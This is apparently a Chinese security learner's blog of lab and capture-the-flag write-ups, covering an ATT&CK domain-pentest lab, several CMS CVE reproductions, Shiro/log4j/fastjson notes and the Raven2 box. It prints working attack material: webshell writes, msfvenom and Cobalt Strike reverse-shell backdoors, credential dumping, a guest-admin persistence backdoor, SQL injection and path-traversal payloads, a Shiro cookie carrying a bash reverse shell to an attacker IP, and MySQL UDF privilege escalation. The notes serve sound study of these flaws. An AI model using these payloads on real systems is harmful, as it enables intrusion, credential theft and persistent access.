刷题记(持续更新中)

未分类
8.7k 词

空闲时间的一些学习/复现/刷题

ATT&CK实战系列

春秋云镜-漏洞

Vulhub-漏洞

Vulnhub-渗透

HTB

ATT&CK实战系列

红队实战(一)

目标:控制web服务器主机,进入内网拿下域控

搭建环境

偷个拓扑过来image-20240814155003285

虚拟机网络配置参考网上wp,主要是靶机扔一块,然后给win7配个网和kali通一下

机器ip
win2008192.168.52.138
win2003192.168.52.141
win7192.168.52.143/192.168.43.139
kali192.168.43.16

ping一下看看连接情况(win7->2k3/2k8/kali通,kali到win7不通【防火墙】)开启win7的phpstudy

另外这边需要配置一下防火墙,把http和mysqld的通过权限都选上,设置如下:

image-20240813160747154

信息收集

nmap -A 192.168.43.139

image-20240813160838821

80进去之后是phpStudy探针页

里面有mysql登录的测试,然后mysql常见的弱口令root/root可以通过测试

dirb http://192.168.43.139 -r

image-20240813185114248

漏洞利用

去访问phpstudy自带的phpmyadmin,发现已经默认输入好了账号密码(root/root)【这里可能是火狐自动保存了前面测试mysql的账号密码,不过phpmyadmin有相关爆破工具】

image-20240813185207325

渗透内容接触很少,只想到要通过phpmyadmin操作数据库以获得权限,但不知道具体手法,这里参考了wp后主要是来学习一手利用数据库去写入后门。

方法一

感觉比较偷鸡,主要是在发现newyxcms表后确认网站使用了yxcms这个开源管理系统,于是直接访问/yxcms并且发现了后台的账号密码【原博客指出可以通过探测 beifen.rar检查版本,然后进一步搜索相关漏洞(毕竟是开源cms)】

image-20240813190715335

进入管理后台

image-20240813191114945

前台模版功能可以管理模版文件(.php文件),而且没有什么限制,这边写个一句话木马的php就行

方法二

上一种方法比较考察信息的收集和经验,这边重点复现phpMyAdmin利用日志文件getShell

首先是尝试直接用sql语句写文件

select '<?php phpinfo();?>' into outfile 'C:/phpstudy/WWW/shell.php';(这个绝对路径可以在探针页泄露的敏感信息里找到)

image-20240813192346593

SHOW VARIABLES LIKE "secure_file_priv";可以查看相关状态,发现是NULL,即没设置允许操作的目录,无法导出到文件,简单来说就是没权限,想要获得相关权限,需要修改服务器配置(目测做不到,然后就进入正题,phpMyAdmin利用日志文件getShell)。

show variables like '%general%';

image-20240813191939131

没开,然后能看到日志会被写入到这个stu1.log的文件中,也就是说当开启时,所执行的sql语句都会出现在stu1.log文件中。那么思路就是开启功能,修改日志的保存路径,写入一句话木马。

1
2
3
set global general_log=on;
set global general_log_file='C:/phpStudy/WWW/shell.php';
SELECT '<?php eval($_POST["cmd"]);?>';

image-20240813195842254

内网信息收集

getshell之后可以在antsword里操作web服务器主机,以收集信息进一步渗透

主要命令有:

1
2
3
4
5
6
whoami
ipconfig#发现有另一个网段
net config Workstation#查看当前计算机名称,全名,用户名,以及所在的工作站域等信息
net localgroup administrators#查看本地管理员,发现还有另一台用户
systeminfo#查看系统信息,可以确定当前域、域服务器,补丁情况
netsh advfirewall show allprofiles#查看防火墙状态

然后从这边开始就各显神通了?感觉操作很多种,这边先看看工具吧应该会比较简单

MSF & CS 控制服务器

planA-msf

第一次接触,大致来讲msf主要是用来生成payload/后门的?

没有配置CS暂时先只用msf做马反弹shell的一系列操作,不过整体走下来感觉有点硬核,也可能是我对windows系统以及msf这一套渗透攻击还不熟悉导致的,但wp里看cs可视化操作要更方便。

生成木马并上传

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.43.225 lport=6666 -f exe -o backdoor.exe

image-20240814154139563

开启监听
1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.43.225
set lport 6666
run

image-20240814154324659

运行backdoor.exe反弹shell

失败了

image-20240814154825116

能查到防火墙开着,给关了netsh advfirewall set allprofiles state off

还是失败了,看win7靶机那边是运行后直接停止工作了

重新做了一个马msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.43.225 lport=6666 -f exe -o backdoor.exe

成了,哦因为是混看了2个wp没发现,set payload这边是没有x64的,然后两个payload的差别无非是是否兼容x32,啊总之监听这边的payload和做的马的payload一致就好了image-20240814160650453

1
2
run post/windows/gather/enum_patches#收集补丁信息
run post/windows/gather/enum_applications#收集主机内软件安装信息
提权取证抓取密码

后续用kiwi获取相关信息需要system权限

image-20240814162223600

1
2
load kiwi
creds_all

没抓取到系统密码,看wp的说法是: 默认是加载32位的系统,所以如果目标主机是64位系统的话,需要将进程迁移到一个64位程序的进程中

1
2
ps
migrate 504

此时再用creds_all就能成功抓取到系统的登录密码了

image-20240815115737312

planB-cs

安装配置不多赘述

./teamserver 192.168.43.225 123456启动客户端,然后运行Cobalt_Strike.bat启动服务端输入密码123456

去payload里面生成windows可执行程序,然后这边需要选一个监听器,创建一下就行

image-20240815185332488

然后把文件上传运行,和前面msf的做法一样,接着能看到cs里的反馈

image-20240815185613189

下载导入ElevateKit

再开个监听

image-20240815191227907

选择提权

image-20240815191335527

成功

image-20240815191538590

然后用system权限去抓取hash,然后抓取明文密码

image-20240815191713611

好了,拿到了

image-20240815191823356

两边都试过了,目前来看cs的优势就是功能多+可视化,然后msf比较硬核,可能熟练的情况下一些场景会更快。

进入内网

开启远程桌面

netstat -ano | findstr "3389" 发现端口没有开启

run post/windows/manage/enable_rdp开启端口

image-20240816140439447

rdesktop 192.168.43.225远程登录

image-20240816142418345

不知道为什么账号密码一直不对,改用cs,有VNC桌面交互功能,直接用就行

image-20240816143617364

后面也基本是分成msf和cs两种操作走法

内网信息收集

懒人一下cs里点点点一手

扫一下52的端口

image-20240816153339533

image-20240816153601564

nmap也是可以扫的

image-20240816153809932

138/141/143,搭建环境的时候知道这3就是域内的3个ip

另外cs自己也集成好了相关功能,有个网络探测,然后切换视图可以看到内网的几个机子image-20240819193501128

然后在这个视图下就有不少横向移动一类的功能

进入内网

看有用设置路由设置代理的方式做的,也有用cs拿全部密码然后搭隧道去做域渗透的

权限维持

方法应该是很多的,这里学习的是guest后门

1
2
3
4
shell net user									 # 查看本机用户
shell net user guest /active:yes # 激活guest
shell net user guest hongrisec@2021 # 给Guest用户设置密码
shell net localgroup administrators guest /add # 将guest加入到管理员中

横向移动

查看路由

arp -a查看路由表

image-20240820142734122

run autoroute -s 192.168.52.0/24手动添加录路由;run post/multi/manage/autoroute 自动添加
run autoroute -p查看路由;

隧道搭建/设置代理

1
2
3
4
5
bg																						
use auxiliary/server/socks_proxy#socks4a load失败了
set srvhost 127.0.0.1
set SRVPORT 1081
run

image-20240820144806041

image-20240820151452905

proxychains4 curl http://192.168.52.143

这边需要配置一下文件sudo vim /etc/proxychains4.conf

去最后面加个socks4 127.0.0.1 1081

但是去curl还是连接不到

image-20240820153642962

域渗透

改用cs去做一个扫描

然后可以在各个机器的service里看到开放的端口

image-20240820154825405

psexec

image-20240820155324159

感觉没打掉,msf是根据开放了445,用ms17_010打,cs也可以有类似操作

感觉后面做的有点乱,主要设置代理那边没做好,后面也不是很通顺,暂时不继续钻研了,还是接着开下一个实战吧。

春秋云镜-漏洞

SQLI

CVE-2022-32991

描述:该CMS的welcome.php中存在SQL注入攻击。

根据描述,随意注册登录个账号,即可进入到/welcome.php?q=1,这边没啥东西,sqlmap扫了一遍也没有发现问题。

搜一下CVE,可以找到基于网络的测验系统 v1.0 被发现包含…·CVE-2022-32991 ·GitHub 咨询数据库,说是eid参数,找了一下,start点进去可以跳转过去,这里就用到了eid参数

拿sqlmap--batch嗯扫一波

结果也是能看到eid处有漏洞

1
2
3
4
5
6
7
8
9
sqlmap identified the following injection point(s) with a total of 1104 HTTP(s) requests:
Parameter: eid (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: q=quiz&step=2&eid=60377db362694'||(SELECT 0x79435444 FROM DUAL WHERE 1996=1996 AND (SELECT 6145 FROM(SELECT COUNT(*),CONCAT(0x7170707871,(SELECT (ELT(6145=6145,1))),0x716b7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&n=1&t=34

Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
Payload: q=quiz&step=2&eid=60377db362694'||(SELECT 0x6c754864 FROM DUAL WHERE 8125=8125 AND 9043=BENCHMARK(5000000,MD5(0x6b556a57)))||'&n=1&t=34

--dbs --batch继续

1
2
3
4
5
available databases [4]:
[*] ctf
[*] information_schema
[*] mysql
[*] performance_schema

--batch -D 'ctf' --tables

1
2
3
4
5
6
7
8
9
| admin     |
| history |
| options |
| rank |
| user |
| answer |
| flag |
| questions |
| quiz |

--batch -D 'ctf' -T 'flag' --columns

1
2
3
4
5
+--------+---------------+
| Column | Type |
+--------+---------------+
| flag | varchar(1024) |
+--------+---------------+

--batch -D 'ctf' -T 'flag' -C 'flag' --dump

然后就能吐出flag了

额外的一点sqlmap技巧

wp看到的,实际上来看这个环境其实不需要,但我觉得这两个需求都很合理

登录访问,使用–cookie参数使得sqlmap绕过身份验证

–user-agent参数/–random-agent使sqlmap绕过客户端验证,否则可能会被识别到sqlmap。

CVE-2022-28512

描述:Fantastic Blog (CMS)是一个绝对出色的博客/文章网络内容管理系统。它使您可以轻松地管理您的网站或博客,它为您提供了广泛的功能来定制您的博客以满足您的需求。它具有强大的功能,您无需接触任何代码即可启动并运行您的博客。 该CMS的/single.php路径下,id参数存在一个SQL注入漏洞。

没啥特点,和32991基本一致,不对赘述,免得浪费空间

CVE-2022-4230

WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它。

WP Statistics < 13.2.9 – 经过身份验证的 SQLi |CVE 2022-4230 |插件漏洞 (wpscan.com)记录了漏洞,并且给出了复现方式。

以允许查看WP统计信息的用户身份登录,并通过获取随机数https://example.com/wp-admin/admin-ajax.php?action=rest-nonce,并在下面的URL中使用它,该URL将延迟5s:

http://example.com/wp-json/wp-statistics/v2/metabox?_wpnonce=NONCE&name=words&search_engine=aaa%27%20AND%20(SELECT%205671%20FROM%20(SELECT(SLEEP(5)))Mdgs)--%20HsBR

简单来说就是先有个普通用户的权限进入后台,然后去获得随机数,替换url的_wpnonce参数进行sql注入的测试,经过5秒后返回

image-20240623000612538

表明存在漏洞,然后开始正常的一套sql注入的流程,不过这边似乎有一些检查过滤什么的,直接-u搜不到,所以抓包之后把报文保存下来用-r搜,是能搜到的。

因为是基于时间盲注做的,所以速度很慢,不知道sqlmap以外的工具效率如何。

CVE-2022-0784

靶场环境似乎坏了,总之渲染出来的东西排版不太对,能输入内容post的地方也没有找到注入点,看其他人对漏洞的复现情况,是直接对/wp-admin/admin-ajax.php发送post请求进行注入的

某Press核心框架WP_Query SQL注入漏洞分析(CVE-2022–21661) - 先知社区 (aliyun.com)

任意文件上传

CVE-2022-30887

描述:多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口,客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库,并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传漏洞,进而导致任意代码执行。

没账号,抓个登录的包也没看到什么东西。

考验一手信息收集,只知道账号是个邮箱,是在环境里瞎点找到的,不知道有没有什么更有思路的方法。

mayuri.infospace@gmail.com

密码应该不含数字(手测含数字会提示格式错误)

没有更多的信息,长度未知弱密码也爆不出来,这边彻底卡住了,去看了一圈思路,基本上还是靠猜,密码是mayurik

登陆之后就是一个常见的管理系统,找一下有文件上传的位置(添加药品这里)。

题目有说是php所以写个php的一句话木马<?php @eval($_POST['cmd']); ?>

image-20240619135608001

另外环境没什么过滤,所以没啥必要抓包重放。

后面直接antsword(测试的时候不知道哪里弄坏了环境一直连接不上,手动执行命令也没成功,重启环境后就正常了)

image-20240619141656660

find / -name flag 2>/dev/null找一手,发现flag在根目录里。

CVE-2022-28525

ED01-CMS v20180505 存在任意文件上传漏洞

注册失败,说是有默认值了,所以考虑弱密码爆破。

因为账号密码都要爆,所以用Cluster bomb模式,字典是fuzzDicts,但是这模式量太大(可能一个一个报会更合适吧,如果没有限制必须2个同时填入?),我直接去找了结果:admin/admin

其他没啥特殊,同30887

antsword报错{“address”:“127.0.0.1”,“code”:“ECONNREFUSED”,“errno”:“ECONNREFUSED”,“port”:8080,“syscall”:“connect”}

发现是代理没关,设置里改成不用代理就行。

RCE

远程代码执行漏洞

CVE-2022-25578

taocms v3.0.2允许攻击者通过编辑.htaccess文件执行任意代码

信息收集(来自阿里云漏洞库):

taoCMS 3.0.2版本存在代码注入漏洞,该漏洞源于文件/admin/admin.php存在问题,会导致代码注入。

很显然要先去管理端,相关入口在页面下面的管理按钮,账号密码

进去之后能找到文件管理,里面有个.htaccess文件可以编辑

这边再回过头来看htaccess文件相关的漏洞,随便一搜就能找到,大致意思是,htaccess文件是apache服务中的一个配置文件,其中呢有一个功能是可以设置当前目录(及子目录)的文件(可以制定后缀)都使用php解析。

比如写入如下:

1
2
3
<FilesMatch "\.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

接下来就是正常的任意文件上传漏洞的流程,只不过需要注意上传.jpg文件

CVE-2022-23906

CMS Made Simple v2.2.15 被发现包含通过上传图片功能的远程命令执行 (RCE) 漏洞。此漏洞通过精心制作的图像文件被利用。

全英文,对英文敏感度比较低,不方便摸索,所以拿spray扫一下目录看看

image-20240620142719062

找到admin和login的路径了

然后是弱口令admin/123456

找一下能上传文件的位置,在File Manager,试了一下jpg可以上传,但是php被过滤了,尝试了一下抓包在报文里改成php

image-20240620144211013

也是没有成功上传,不太清楚是怎么过滤的,不好绕过。

去阿里云漏洞库里看了一眼,参考链接里CMS 变得简单 - Forge CMS简单核心 (cmsmadesimple.org)能发现复现方式。

是这个系统没设计好(应该算是Insecure Design不安全的设计),上传进去的文件点击copy可以改名成php后缀。

Antsword

image-20240620144414247

CVE-2022-24663

远程代码执行漏洞,任何订阅者都可以利用该漏洞发送带有“短代码”参数设置为 PHP Everywhere 的请求,并在站点上执行任意 PHP 代码。P.S. 存在常见用户名低权限用户弱口令

漏洞原理

PHP Everywhere是一个WordPress 插件,作用于<=2.0.3的插件版本。

没怎么找到这个漏洞的原理详解,个人理解是该插件允许通过WordPress的短代码执行php命令,又没有对此权限进行鉴权。

复现过程

又是找不到入口的一集,spray扫出来:

image-20240620145644120

又是弱口令环节,test/test,是一个低权限的账号

因为没太看懂原博客,所以找了个exp,后面是拿exp利用漏洞进行代码注入,随便找个html去写入以下代码并提交,就可以将后门写入系统了

1
2
3
4
5
6
7
8
9
 <form
action="http://eci-2zeel7oe0j83p05ef69w.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php"
method="post">
<input name="action" value="parse-media-shortcode" />
<textarea name="shortcode">
[php_everywhere]<?php file_put_contents("/var/www/html/hack.php", base64_decode("PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsgPz4=")); ?>[/php_everywhere][/php_everywhere]
</textarea>
<input type="submit" value="submit" />
</form>

再后面就是利用hack.php这个后门去拿flag了。

有点疑惑,一来是对整个漏洞的底层逻辑有点没理解,另一个是我字符串只能成功写入,而套一层base64就能正常使用后门

CVE-2022-22965

Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。

漏洞原理

影响版本

Spring Framework 5.3.X < 5.3.18

Spring Framework 5.2.X < 5.2.20

影响条件(同时满足)

- JDK 9 及以上版本

- Apache Tomcat 作为 Servlet 容器

- Spring 框架以及衍生的框架

SSRF

CVE-2022-24112

Apache Apisix是美国阿帕奇(Apache)基金会的一个云原生的微服务API网关服务。该软件基于 OpenResty 和 etcd 来实现,具备动态路由和插件热加载,适合微服务体系下的 API 管理。 Apache APISIX中存在远程代码执行漏洞,该漏洞源于产品的batch-requests插件未对用户的批处理请求进行有效限制。攻击者可通过该漏洞绕过Admin API的IP限制,容易导致远程代码执行。

漏洞原理

batch-requests 插件可以一次接受多个请求并以 http pipeline 的方式在网关发起多个 http 请求,合并结果后再返回客户端,这在客户端需要访问多个接口时可以显著地提升请求性能。

影响版本

Apache APISIX 1.3 ~ 2.12.1 之间的所有版本(不包含 2.12.1 )

Apache APISIX 2.10.0 ~ 2.10.4 LTS 之间的所有版本(不包含 2.10.4)

利用条件

  • batch-requests插件默认开启状态。
  • 用户使用了 Apache APISIX 默认配置(启用 Admin API ,使用默认 Admin Key 且没有额外分配管理端口),攻击者可以通过 batch-requests 插件调用 Admin API 。

攻击思路

1、利用batch-requests 插件漏洞、绕过请求头检测;

2、通过伪造请求头、向Admin API 注册路由;

3、注册路由时、携带参数filter_func 传递 lua代码、造成远程代码执行漏洞。

任意文件读取

CVE-2023-27179

GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞,漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。

不正确的访问控制

CVE-2023-27179.txt (github.com)

URL : [http://{gdidees_root}/_admin/imgdownload.php?filename=../../../../../etc/passwd]http://{gdidees_root}/_admin/imgdownload.php?filename=../../../../../etc/passwd ( /etc/passwd 是我们要读取的文件)

GET /_admin/imgdownload.php?filename=../../../../../flag HTTP/1.1拿到flag(下载不到东西,抓包可以在response里看到flag)

分析

GDidées - 资源中心 WEB : CMS的新功能 (gdidees.eu)官网整个3.9.1的版本来

imgdownload.php内容如下:

1
2
3
4
5
6
7
8
9
<?php
// on essaie de reconnaitre l'extension pour que le téléchargement corresponde au type de fichier afin d'éviter les erreurs de corruptions
if (isset($_GET["filename"])) {
$filename=$_GET["filename"];
$uploadname=substr(basename($filename), 0, 6).'.png';
......
@readfile($filename) OR die();
}
?>

没啥说法,主体就是一个传文件名然后下载的代码,没做鉴权和过滤导致直接访问任意文件

CVE-2022-25401/CVE-2022-34121

Cuppa CMS v1.0 administrator/templates/default/html/windows/right.php文件存在任意文件读取漏洞

默认是admin/admin,但是不对,也没找到弱口令

漏洞库链接的poc404了

不过cuppa在github开源了,查issue能查到Unauthorized Arbitrary File Read vulnerability exists in CuppaCMS /administrator/templates/default/html/windows/right.php · Issue #32 · CuppaCMS/CuppaCMS (github.com)

还可以溯源到#18issue,是一个东西似乎,不过还是有cve号,但是这个和描述的url一致。

然而实际能用的是更早发现的这个issue,也就是漏洞CVE-2022-34121,没有/administratior

image-20240710131614630

分析

看update时间感觉是没改过的版本,但是issue已经complete了

1
2
3
4
5
6
7
8
9
10
11
12
<?php
@session_start();
include_once(realpath(__DIR__ . '/../../../..')."/classes/Cuppa.php");
$cuppa = Cuppa::getInstance();
if(!@$path) $path = $cuppa->utils->getUrlVars(@$_POST["path"]);
$language = $cuppa->language->load();
?>
<div class="w_right">
<?php
include realpath(__DIR__ . '/../../../..')."/".$_POST["url"];
?>
</div>

同样也是没有过滤参数,应该限定可包含的范围

其他

CVE-2023-23752

靶场里是信息泄露分类,内容也较少,所以放在其他类里

Joomla是一个开源免费的内容管理系统(CMS),基于PHP开发。在其4.0.0版本到4.2.7版本中,存在一处属性覆盖漏洞,导致攻击者可以通过恶意请求绕过权限检查,访问任意Rest API。

漏洞原理

在Joomla受影响的版本(4.0.0 <= Joomla <= 4.2.7)中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。

利用方法为路径:/api/index.php/v1/config/application?public=true,可以拿到网站的配置信息,当然还包括其他接口,靶机的flag放在v1/users

image-20240623160257247

拿靶机的flag只需要考虑用哪个接口就好了,但是完全理解漏洞就要考虑得多了(沟槽的鸣式)

漏洞分析 TODO

[ 漏洞复现篇 ] Joomla未授权访问Rest API漏洞(CVE-2023-23752)_joomla渗透-CSDN博客

https://xz.aliyun.com/t/12175#toc-4

CVE-2022-23134 TODO

属于逻辑漏洞类,数少故合并至其他类

Zabbix Sia Zabbix是拉脱维亚Zabbix SIA(Zabbix Sia)公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。 Zabbix 存在安全漏洞,该漏洞源于在初始设置过程之后,setup.php 文件的某些步骤不仅可以由超级管理员访问,也可以由未经身份验证的用户访问。

影响版本

  • 5.4.0 – 5.4.8
  • 6.0.0 – 6.0.0beta1

漏洞利用

进入环境之后看到一个登录,搜一下可以找到zabbix的默认账号密码Admin/zabbix.

根据漏洞报告的漏洞描述,大致的利用方式是构造一个cookie去伪造身份访问setup.php,然后新增数据库添加新管理员

setup.php看一下

因为要伪造cookie,所以抓包一下看看cookie长什么样子

1
Cookie: zbx_session=eyJzZXNzaW9uaWQiOiI5YWUxOGRhYWY5MjUyZTgwMWYwMTQyM2YwOTI1MWRmOSIsImNoZWNrX2ZpZWxkc19yZXN1bHQiOnRydWUsInN0ZXAiOjAsImRlZmF1bHRfbGFuZyI6ImVuX0dCIiwiZGVmYXVsdF90aW1lem9uZSI6InN5c3RlbSIsImRlZmF1bHRfdGhlbWUiOiJibHVlLXRoZW1lIiwic2lnbiI6IjkzaTl6K2JTQzRcL252UnpRZXlPVFlLVE1aWnZHSjB0SVwvMjRCOGd0UjhnK28yenIrUUFxd21hQmttb0diVVdSRWpkTU9xV05OSU5aNnM1cVdYMlwvcGZSWEd4dmJEd3JGMENJT3V4QWtLWXJrbkhlUE01K04rT0VJdG5nTUM1bnlaa00yaU8zWkw0RDFZV2lpWHQySllIYmpmOXJHdTUxSDY1VDFIbGlFTWNEbmpCQ1lMUmo2eHZVeVdDUlpTS3FDUEpYZU8rN0lNMElMS2t5OFUzdCtSUlF5c2hqRVFvZjVsK1NUTlYrQU4xS3c9In0%3D

%3D=盲猜一个base64

1
{"sessionid":"9ae18daaf9252e801f01423f09251df9","check_fields_result":true,"step":0,"default_lang":"en_GB","default_timezone":"system","default_theme":"blue-theme","sign":"93i9z+bSC4\/nvRzQeyOTYKTMZZvGJ0tI\/24B8gtR8g+o2zr+QAqwmaBkmoGbUWREjdMOqWNNINZ6s5qWX2\/pfRXGxvbDwrF0CIOuxAkKYrknHePM5+N+OEItngMC5nyZkM2iO3ZL4D1YWiiXt2JYHbjf9rGu51H65T1HliEMcDnjBCYLRj6xvUyWCRZSKqCPJXeO+7IM0ILKky8U3t+RRQyshjEQof5l+STNV+AN1Kw="}

描述指向的是部分步骤的越权问题,这边调整step,看看后面步骤都是啥,能访问到6,但是会因为连接不到数据库又回到2,然后就卡住了

看到个poc是{"sessionid":"INVALID","check_fields_result":true,"step":6,"serverCheckResult":true,"serverCheckTime":1645123704,"sign":"INVALID"}去base64后作为cookie,重新登陆就能在首页看到flag,不过没找到具体的构造原理,还是先分析漏洞再回过头来写吧

漏洞分析 TODO

CVE-2023-38633

一个在 librsvg 2.56.3 之前版本中 URL 解码器的目录遍历问题,可以被本地或远程攻击者用来泄露文件(在预期区域之外的本地文件系统上),例如通过在 xi:include 元素中使用 href=”.?../../../../../../../../../../etc/passwd” 来读取结果。

摸不着头脑,跟着CVE号一路往上摸,这个漏洞最后指向的是XXE漏洞

CVE-2014-3529

XXE漏洞

Vulhub-漏洞

Shiro 550</h1>

shiro反序列化漏洞,CVE-2016-4437

response中若有rememberMe=deleteMe,则表示使用了shiro框架

而bp的插件BurpShiroPassiveScan可以进行检测并报出漏洞

原理

shiro框架提供了一个记住密码功能,会在cookie中添加一段包含了用户身份信息的加密数据,该加密流程为序列化+AES+base64,验证方式则为base64+AES+反序列化。

base64和漏洞序列化其实不具备严格意义上的加密效果,加密效果主要体现在AES上,而AES安全的核心在于其密钥key不被泄露,但是shiro<=1.2.4版本中的AES都是用了固定的kPH+bIxk5D2deZiIxcaaaA==作为密钥,这就导致攻击者可以自己完成cookie的生成并在其中夹杂恶意代码。

攻击

shiro_exploit.py可以自动检测shiro框架并对密钥进行爆破,这里已经获得了key,暂时不需要。

并且有shiro_attack-2.2.jar这种综合的图形化工具可以完成后续的漏洞利用,这里暂不采取此方式。

搭建环境后用给的账号密码登录抓包看一下,能看到Cookie添加了一串东西(如果错误账号密码就只有第一个Cookie)

image-20240615135909485

根据前面的原理,开始构造cookie获取反弹shell(可以理解为与ssh等连接方式相反,由受攻击方主动连接攻击方的服务端程序)

反弹shell,获取反弹shell的大致流程为:

攻击端开启监听,比如说nc -l 2333,然后在被攻击端执行bash -i >& /dev/tcp/攻击ip/2333 0>&1(通过2次重定向,将被攻击的给攻击端,再将攻击端的命令给的被攻击端),那么攻击端就会获得被攻击的shell了。

前面提到该漏洞可以让cookie夹带恶意代码,这里要做的就是夹带这串要被攻击端执行的命令。

生成rememberMe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.crumbling;

import org.apache.shiro.codec.Base64;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class TestRemember {
public static void main(String[] args) throws Exception {
byte[] payloads = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE4OS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}".getBytes();

AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

将结果写入Cookie重放应该就能在监听的终端看到被攻击的shell然后进行各种命令行操作了,不过同一台虚拟机作为攻击和被攻击似乎不太好监听,重新摸索一下可能要。不过大致内容就是以上了。

其他

现实的漏洞挖掘场景,可能在key上出现问题,大致思路是字典爆破,不过更合适的应该是一些自动化的测试工具,应该要比自己人工爆破要快捷。

以及用于重定向的’>’’<’可能被各种waf啊hids这样的设备检测,可以尝试利用Runtime.exec Payload Generater | AresX’s Blog (ares-x.com)编码绕过一下

log4j2</h1>

CVE-2021-44228

log4j2是apache下的java应用常见开源日志库.JNDI,全称为Java命名和目录接口(Java Naming and Directory Interface)允许从指定的远程服务器获取并加载对象。相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。

影响版本2.0 <=log4j2 <= 2.14.1

原理

Log4j2提供的lookup功能下的 jndi Lookup模块的漏洞,该功能模块在输出日志信息时允许、通过相应的协议去请求远程主机上的资源。简单来说就是JNDI可以使用相应目录接口请求数据,并且可以远程下载一个恶意的class文件,然后加载该class文件并构建对象,最后导致攻击。

(大致就是这个意思,看了一圈感觉没有找到特别满意的)

漏洞环境

log4j2是个库啊,所以复现的基础可以直接在调用了库的web应用上实现。

复现

fastjson反序列化漏洞</h1>

fastjson是阿里开发的开源json解析库,主要作用是json字符串反序列化到JavaBean

漏洞影响<=1.2.48fastjson

复现环境为1.2.27

漏洞原理

主要是AutoType导致的,而复现环境1.2.27版本在1.2.24后,AutoType已经被禁用,所以需要单独开启。

@typefastjson中一个特殊注解,用于表示json字符串中某个属性是一个java对象的类型

一段@type的使用案例

1
2
3
4
5
6
7
8
public class Main {
public static void main(String[] args) throws IOException {
String json = "{\"@type\":\"java.lang.Runtime\"}";
ParserConfig.getGlobalInstance().addAccept("java.lang");
Runtime runtime = (Runtime) JSON.parseObject(json, Object.class);
runtime.exec("calc.exe");
}
}

空闲时间刷题学渗透的一点笔记

Vulnhub-渗透

Raven2

来自vulnhub的靶机,下载后导入VM即可。

网络配置,两边都是自定义VMent0,VMent0是桥接的物理机的WLAN(此情况下,可以保证攻击机kali和靶机Raven在同一网段)

开启靶机后

image-20240801110910520

信息收集

没有靶机真实ip,但因为是同一网段,利用nmap可以扫到真实ip,如下:

image-20240801110416315

由此可以进一步扫端口

image-20240801112514290

http的80端口开放,可以直接浏览器访问,这边直接去扫一下目录

image-20240801124109539

因为存在目录遍历漏洞,各个信息都可以查看,全部点过去能在/vendor/PATH发现flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}(这边主要是要先发现有目录遍历漏洞才能比较有逻辑和目的性的翻找到flag)

但是靶机的flag有4个,仅仅是这样,还不算完成信息收集。比较常态的思路应该是借此寻找一下中间件与框架等,再去找有没有对应的漏洞。

/vendor/VERSION可以看到个版本号5.2.16,在vendor/READMEvendor下各文件的文件名可以看到PHPMailer(一个功能齐全的PHP电子邮件创建和传输类),并且能查到这个版本是存在远程命令执行漏洞的。

image-20240801135006014

漏洞利用

利用此漏洞进行反弹shell

image-20240801145423398

复制一下exp,需要修改脚本的相应内容,有点不太明白为什么一定要将target指向contact.php

运用exp

开启监听(以及让shell的交互性更好)

ctrl+z可以暂停监听

1
2
3
4
5
python -c 'import pty; pty.spawn("/bin/bash")'

stty raw -echo

fg

image-20240802103347651

访问后门test1.php反弹shell

image-20240801153933724

可以找到2个flag

find / -name "flag*" 2>/dev/null

image-20240801194843327

wordpress的配置文件中可能会带有数据库的相关设置,其中就有数据库的账号密码

image-20240801202111505

登录一下mysql

image-20240802103559094

UDF提权

查看mysql是否有写入文件的权限并查看版本号

show global variables like '%secure%';

image-20240802105939743

Mysql版本大于5.1,udf.dll文件必须放在MySQL安装目录的lib\plugin文件夹下。

show variables like 'plugin%';

image-20240802110545001

然后这边是手打和exp打的划分(?大概就是不拿这个exp需要去sqlmap这种找一下文件处理一下,似乎差不多

exp打就是按照之前的方法searchsploit mysql找到对应的udf提权的exp,cp过来然后编译生成一下so文件

image-20240802122634648

上传.so到靶机

攻击机开启一个web应用服务,用于配合反弹shell让靶机去下载.so文件

image-20240802155618725

1
2
3
4
5
6
use mysql;
create table hack(line blob);
insert into hack values(load_file('/tmp/raptor_udf.so'));
select * from hack into dumpfile '/usr/lib/mysql/plugin/sdfz_udf.so';
create function do_system returns integer soname 'raptor_udf.so';
select do_system('chmod u+s /usr/bin/find');

image-20240805183223891

